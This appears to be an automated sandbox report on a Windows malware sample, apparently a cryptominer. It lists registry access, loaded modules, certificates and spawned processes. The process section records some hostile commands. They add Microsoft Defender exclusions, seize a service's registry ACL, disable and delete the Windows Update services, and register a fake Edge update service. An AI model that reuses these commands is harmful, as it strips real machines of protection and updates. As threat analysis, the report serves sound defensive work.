PSModulePath="%WINDIR%\system32\WindowsPowerShell\v1.0\Modules\;%PROGRAMFILES%\(x86)\AutoIt3\AutoItX", APPDATA="%WINDIR%\system32\config\systemprofile\AppData\Roaming", USERNAME="DESKTOP-FVVF82A$", ProgramFiles(x86)="%PROGRAMFILES%\(x86)", CommonProgramFiles="%PROGRAMFILES%\Common Files", CURL_CA_BUNDLE="%USERPROFILE%\.mitmproxy\mitmproxy-ca-cert.cer", FPS_BROWSER_USER_PROFILE_STRING="Default", PATHEXT=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", OS="Windows_NT", COMPUTERNAME="GDqpvcWhu84sPYa", NVM_HOME="%APPDATA%\nvm", PROCESSOR_REVISION="4f00", CommonProgramW6432="%PROGRAMFILES%\Common Files", ComSpec="%WINDIR%\system32\cmd.exe", ProgramData="C:\ProgramData", ProgramW6432="C:\Program Files", PROCESSOR_IDENTIFIER="Intel64 Family 6 Model 79 Stepping 0 GenuineIntel", USERPROFILE="%WINDIR%\system32\config\systemprofile", CommonProgramFiles(x86)="%PROGRAMFILES%\(x86)\Common Files", ProgramFiles="C:\Program Files", PUBLIC="C:\Users\Public", NUMBER_OF_PROCESSORS="2", windir="C:\WINDOWS"" Process "sc.exe" (UID: 00000000-00007652) was launched with modified environment variables: "LOCALAPPDATA, Path, TEMP, TMP" Process "sc.exe" (UID: 00000000-00007652) was launched with missing environment variables: "EDGE_CRASHPAD_PIPE_NAME, COMPONENT_INSTALLER_DIR, EDGE_BROWSER_PID" Process "msedge.exe" (UID: 00000000-00002944) was launched with new environment variables: "EDGE_CRASHPAD_PIPE_NAME="\\.\pipe\crashpad_976_KWGMNUGHCUWYTPDK", COMPONENT_INSTALLER_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", EDGE_BROWSER_PID="976"" Process "msedge.exe" (UID: 00000000-00002944) was launched with modified environment variables: "LOCALAPPDATA, Path, TEMP, TMP" Process "msedge.exe" (UID: 00000000-00002944) was launched with missing environment variables: "NVM_SYMLINK, PROCESSOR_LEVEL, SSLKEYLOGFILE, USERDOMAIN, FPS_BROWSER_APP_PROFILE_STRING, SESSIONNAME, ALLUSERSPROFILE, PROCESSOR_ARCHITECTURE, PSModulePath, APPDATA, USERNAME, ProgramFiles(x86), CommonProgramFiles, CURL_CA_BUNDLE, FPS_BROWSER_USER_PROFILE_STRING, PATHEXT, OS, COMPUTERNAME, NVM_HOME, PROCESSOR_REVISION, CommonProgramW6432, ComSpec, ProgramData, ProgramW6432, PROCESSOR_IDENTIFIER, USERPROFILE, CommonProgramFiles(x86), ProgramFiles, PUBLIC, NUMBER_OF_PROCESSORS, windir"3e:T4d0,"SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL\🌎🌏🌍"; Key: "CURRENCIES") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL\🌎🌏🌍"; Key: "NLS CURRENCY DATA") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL\🌎🌏🌍"; Key: "CLOCK") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "SCURRENCYOVERRIDE") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "SYEARMONTH") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "LOCALENAME") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN")3f:Tfe9,Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00005432-00000C2E-467532788] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00005432-00000C2B-1762571137] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00005432-00000C2B-1762671163] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00005432-00000C2B-1762743153] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00005432-00000C2B-1762874224] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00005432-00000C2B-1762927945] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00005432-00000C2B-1762983420] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00005432-00000C2B-1763047429] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00005432-00000C2B-1763132290] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll" [Source: 00000000-00005432-00000C2B-1763186636] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00005432-00000C2B-1763284301] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00005432-00000C2B-1763486994] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00005432-00000C2B-1763575610] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00005432-00000C2B-1763790100] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00005432-00000C2B-1763850672] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00005432-00000C2B-1764130669] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00005432-00000C2B-1764216769] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00005432-00000C2B-1764224210] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00005432-00000C2B-1764404593] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00005432-00000C2B-1764474605] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00005432-00000C2B-1764605842] Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00005432-00000C2B-1764729572] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" [Source: 00000000-00005432-00000C2B-1764964040] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll" [Source: 00000000-00005432-00000C2B-1765015436] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" [Source: 00000000-00005432-00000C2B-1765088114]40:Tda5,Spawned process "sc.exe" with commandline "delete "MicrosoftEdgeUpdateTaskMachine_3aa5"" (UID: 00000000-00007848) Spawned process "sc.exe" with commandline "create "MicrosoftEdgeUpdateTaskMachine_3aa5" binpath= "%ALLUSERS ..." (UID: 00000000-00005824), Spawned process "sc.exe" with commandline "start "MicrosoftEdgeUpdateTaskMachine_3aa5"" (UID: 00000000-00004544), Spawned process "nslookup.exe" (UID: 00000000-00007684), Spawned process "powershell.exe" with commandline "Add-MpPreference -ExclusionPath @($env:UserProfile, $env:Program ..." (UID: 00000000-00005432) Spawned process "powershell.exe" with commandline "$key='HKLM:\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc'; ..." (UID: 00000000-00002720, Additional Context: "Get -Acl HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc.SetOwner(System.Security.Principal.NTAccount('BUILTIN','Administrators'))Get -Acl HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc.SetAccessRule(System.Security.AccessControl.RegistryAccessRule(System.Security.Principal.NTAccount('BUILTIN','Administrators') 'FullControl' 'Allow'))Set-Acl HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc Get -Acl HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvcSet-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc;"), Spawned process "sc.exe" with commandline "config WaaSMedicSvc start= disabled" (UID: 00000000-00005216), Spawned process "sc.exe" with commandline "stop WaaSMedicSvc" (UID: 00000000-00006676), Spawned process "sc.exe" with commandline "config UsoSvc start= disabled" (UID: 00000000-00006704), Spawned process "sc.exe" with commandline "stop UsoSvc" (UID: 00000000-00003696), Spawned process "reg.exe" with commandline "copy "HKLM\\SYSTEM\\CurrentControlSet\\Services\\UsoSvc" "HKLM\\ ..." (UID: 00000000-00006884) Spawned process "reg.exe" with commandline "delete "HKLM\\SYSTEM\\CurrentControlSet\\Services\\UsoSvc" /f" (UID: 00000000-00003776) Spawned process "sc.exe" with commandline "config WaaSMedicSvc start= disabled" (UID: 00000000-00006968) Spawned process "sc.exe" with commandline "stop WaaSMedicSvc" (UID: 00000000-00007828) Spawned process "reg.exe" with commandline "copy "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" " ..." (UID: 00000000-00007296), Spawned process "reg.exe" with commandline "delete "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" ..." (UID: 00000000-00004600), Spawned process "sc.exe" with commandline "config wuauserv start= disabled" (UID: 00000000-00004172), Spawned process "sc.exe" with commandline "stop wuauserv" (UID: 00000000-00006940), Spawned process "reg.exe" with commandline "copy "HKLM\\SYSTEM\\CurrentControlSet\\Services\\wuauserv" "HKLM ..." (UID: 00000000-00001460) Spawned process "reg.exe" with commandline "delete "HKLM\\SYSTEM\\CurrentControlSet\\Services\\wuauserv" /f" (UID: 00000000-00007024) Spawned process "sc.exe" with commandline "config BITS start= disabled" (UID: 00000000-00006364) Spawned process "msedge.exe" with commandline "--profile-directory=Default" (UID: 00000000-00000976) Spawned process "msedge.exe" with commandline "--type=crashpad-handler "--user-data-dir=%LOCALAPPDATA%\\Microso ..." (UID: 00000000-00000424), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=network.mojom.NetworkService - ..." (UID: 00000000-00004836), Spawned process "msedge.exe" with commandline "--type=gpu-process --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAA ..." (UID: 00000000-00007956)41:Tda5,Spawned process "sc.exe" with commandline "delete "MicrosoftEdgeUpdateTaskMachine_3aa5"" (UID: 00000000-00007848) Spawned process "sc.exe" with commandline "create "MicrosoftEdgeUpdateTaskMachine_3aa5" binpath= "%ALLUSERS ..." (UID: 00000000-00005824), Spawned process "sc.exe" with commandline "start "MicrosoftEdgeUpdateTaskMachine_3aa5"" (UID: 00000000-00004544), Spawned process "nslookup.exe" (UID: 00000000-00007684), Spawned process "powershell.exe" with commandline "Add-MpPreference -ExclusionPath @($env:UserProfile, $env:Program ..." (UID: 00000000-00005432) Spawned process "powershell.exe" with commandline "$key='HKLM:\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc'; ..." (UID: 00000000-00002720, Additional Context: "Get -Acl HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc.SetOwner(System.Security.Principal.NTAccount('BUILTIN','Administrators'))Get -Acl HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc.SetAccessRule(System.Security.AccessControl.RegistryAccessRule(System.Security.Principal.NTAccount('BUILTIN','Administrators') 'FullControl' 'Allow'))Set-Acl HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc Get -Acl HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvcSet-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc;"), Spawned process "sc.exe" with commandline "config WaaSMedicSvc start= disabled" (UID: 00000000-00005216), Spawned process "sc.exe" with commandline "stop WaaSMedicSvc" (UID: 00000000-00006676), Spawned process "sc.exe" with commandline "config UsoSvc start= disabled" (UID: 00000000-00006704), Spawned process "sc.exe" with commandline "stop UsoSvc" (UID: 00000000-00003696), Spawned process "reg.exe" with commandline "copy "HKLM\\SYSTEM\\CurrentControlSet\\Services\\UsoSvc" "HKLM\\ ..." (UID: 00000000-00006884) Spawned process "reg.exe" with commandline "delete "HKLM\\SYSTEM\\CurrentControlSet\\Services\\UsoSvc" /f" (UID: 00000000-00003776) Spawned process "sc.exe" with commandline "config WaaSMedicSvc start= disabled" (UID: 00000000-00006968) Spawned process "sc.exe" with commandline "stop WaaSMedicSvc" (UID: 00000000-00007828) Spawned process "reg.exe" with commandline "copy "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" " ..." (UID: 00000000-00007296), Spawned process "reg.exe" with commandline "delete "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" ..." (UID: 00000000-00004600), Spawned process "sc.exe" with commandline "config wuauserv start= disabled" (UID: 00000000-00004172), Spawned process "sc.exe" with commandline "stop wuauserv" (UID: 00000000-00006940), Spawned process "reg.exe" with commandline "copy "HKLM\\SYSTEM\\CurrentControlSet\\Services\\wuauserv" "HKLM ..." (UID: 00000000-00001460) Spawned process "reg.exe" with commandline "delete "HKLM\\SYSTEM\\CurrentControlSet\\Services\\wuauserv" /f" (UID: 00000000-00007024) Spawned process "sc.exe" with commandline "config BITS start= disabled" (UID: 00000000-00006364) Spawned process "msedge.exe" with commandline "--profile-directory=Default" (UID: 00000000-00000976) Spawned process "msedge.exe" with commandline "--type=crashpad-handler "--user-data-dir=%LOCALAPPDATA%\\Microso ..." (UID: 00000000-00000424), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=network.mojom.NetworkService - ..." (UID: 00000000-00004836), Spawned process "msedge.exe" with commandline "--type=gpu-process --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAA ..." (UID: 00000000-00007956)42:T1236,The input sample is signed with a certificate issued by "CN=Microsoft TLS G2 RSA CA OCSP 16, O=Microsoft Corporation, C=US" (SHA1: 6F:B2:8C:93:9A:CC:3C:A5:C9:93:1B:10:76:A3:14:26:D7:76:16:51; see report for more information) The input sample is signed with a certificate issued by "CN=Microsoft TLS RSA Root G2, O=Microsoft Corporation, C=US" (SHA1: 27:E6:66:32:99:D3:40:DF:E5:45:71:CE:CC:EC:01:BE:74:49:5D:C6; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US" (SHA1: B5:EE:89:E7:73:26:AB:2B:F1:77:5B:D9:9C:19:A2:89:47:FF:81:84; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US" (SHA1: DF:3C:24:F9:BF:D6:66:76:1B:26:80:73:FE:06:D1:CC:8D:4F:82:A4; see report for more information) The input sample is signed with a certificate issued by "CN=GeoTrust TLS ECC CA G1, OU=www.digicert.com, O=DigiCert Inc, C=US" (SHA1: C6:A7:9F:4F:A3:32:C1:3F:51:DB:C6:1F:5D:2B:37:2F:71:ED:6B:69; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Global Root G3, OU=www.digicert.com, O=DigiCert Inc, C=US" (SHA1: BF:E7:BA:21:A2:FA:56:71:9B:61:F6:4E:E1:B2:69:D0:B8:0B:44:E5; see report for more information) The input sample is signed with a certificate issued by "CN=WE1, O=Google Trust Services, C=US" (SHA1: 4F:E7:9B:78:F0:B9:59:0F:D8:6E:F0:61:1A:01:42:F8:00:EC:12:C3; see report for more information) The input sample is signed with a certificate issued by "CN=GTS Root R4, O=Google Trust Services LLC, C=US" (SHA1: 10:8F:BF:79:4E:18:EC:53:47:A4:14:E4:37:0C:C4:50:6C:29:7A:B2; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE" (SHA1: 93:2B:ED:33:9A:A6:92:12:C8:93:75:B7:93:04:B4:75:49:0B:89:A0; see report for more information) The input sample is signed with a certificate issued by "CN=YE1, O=Let's Encrypt, C=US" (SHA1: 8A:8E:7D:2C:B5:2A:05:E2:FB:54:48:81:D1:E6:9D:D5:10:54:BB:33; see report for more information) The input sample is signed with a certificate issued by "CN=Root YE, O=ISRG, C=US" (SHA1: D0:93:70:A9:86:49:82:A5:04:7D:A4:63:73:54:02:56:D0:8A:3C:81; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X2, O=Internet Security Research Group, C=US" (SHA1: F3:76:20:FC:4B:1C:DD:D2:A3:D7:4B:1D:5E:8D:B4:2E:24:4C:A0:06; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X1, O=Internet Security Research Group, C=US" (SHA1: 3C:34:E3:56:C7:FC:17:F5:AC:F0:48:24:BC:58:7C:6C:62:39:51:A2; see report for more information) The input sample is signed with a certificate issued by "CN=mining.pool, O=Mining Pool, L=Daemon, ST=Pool, C=IT" (SHA1: FE:CD:3E:3C:4B:EC:82:18:28:B9:5C:FC:78:C2:58:B3:9F:10:CD:26; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Global G2 TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US" (SHA1: 9B:11:B0:70:AE:60:F2:0E:B2:4D:34:65:C9:F8:5D:33:2F:37:89:2F; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US" (SHA1: 1D:73:22:B4:1E:D9:9F:DD:68:51:1B:AB:78:6C:8E:26:E0:83:1B:3B; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US" (SHA1: 8B:F7:F1:78:A7:45:A1:1B:AC:6A:E5:B5:86:FC:18:38:EA:DC:B2:CF; see report for more information) The input sample is signed with a certificate issued by "CN=Microsoft TLS G2 RSA CA OCSP 16, O=Microsoft Corporation, C=US" (SHA1: 9F:EE:F8:10:66:9B:5E:54:3C:B8:FD:52:3C:CC:42:64:3C:4C:FD:12; see report for more information) The input sample is signed with a certificate issued by "CN=Sectigo Public Server Authentication CA DV R36, O=Sectigo Limited, C=GB" (SHA1: 48:62:BA:29:DB:48:52:50:EC:DE:95:62:15:70:58:A6:E2:13:BC:AE; see report for more information) The input sample is signed with a certificate issued by "CN=Sectigo Public Server Authentication Root R46, O=Sectigo Limited, C=GB" (SHA1: DD:55:B4:52:02:91:E2:76:58:8F:0D:D0:2F:AF:D8:3A:73:68:E0:FA; see report for more information) The input sample is signed with a certificate issued by "CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US" (SHA1: 2B:18:94:7A:6A:9F:C7:76:4F:D8:B5:FB:18:A8:63:B0:C6:DA:C2:4F; see report for more information)43:T72f,"SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: ""; Value: "") "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: ""; Value: "") "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: ""; Value: "")44:Tddf,"SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "") "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "AGGRESSIVEMTATESTING"; Value: "") "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "ENABLEPERPROCESSSYSTEMDPI"; Value: "") "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "SECURITEINFO.COM.WIN64.EVO-GEN.49237433"; Value: "") "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "")45:T610,"SecuriteInfo.com.Win64.Evo-gen.49237433.exe" trying to touch file "C:\Windows\System32\apphelp.dll" "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" trying to touch file "C:\SecuriteInfo.com.Win64.Evo-gen.49237433.exe" "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" trying to touch file "C:\Windows\System32\ntdll.dll" "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" trying to touch file "C:\Windows\System32\kernel32.dll" "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" trying to touch file "C:\Windows\System32\KernelBase.dll" "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" trying to touch file "C:\Windows\apppatch\sysmain.sdb" "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" trying to touch file "C:\Windows\System32\win32u.dll" "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" trying to touch file "C:\Windows\System32\ucrtbase.dll" "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" trying to touch file "C:\Windows\System32\msvcp_win.dll" "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" trying to touch file "C:\Windows\System32\gdi32full.dll" "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" trying to touch file "C:\Windows\System32\gdi32.dll" "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" trying to touch file "C:\Windows\System32\user32.dll" "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" trying to touch file "C:\Windows\System32\imm32.dll" "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" trying to touch file "C:\Windows\System32\rpcrt4.dll" "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" trying to touch file "C:\Windows\System32\bcryptprimitives.dll"46:T77a,"SecuriteInfo.com.Win64.Evo-gen.49237433.exe" trying to access non-existent file "C:\FLTLIB.DLL" "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" trying to access non-existent file "C:\MSVCP140.DLL" "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" trying to access non-existent file 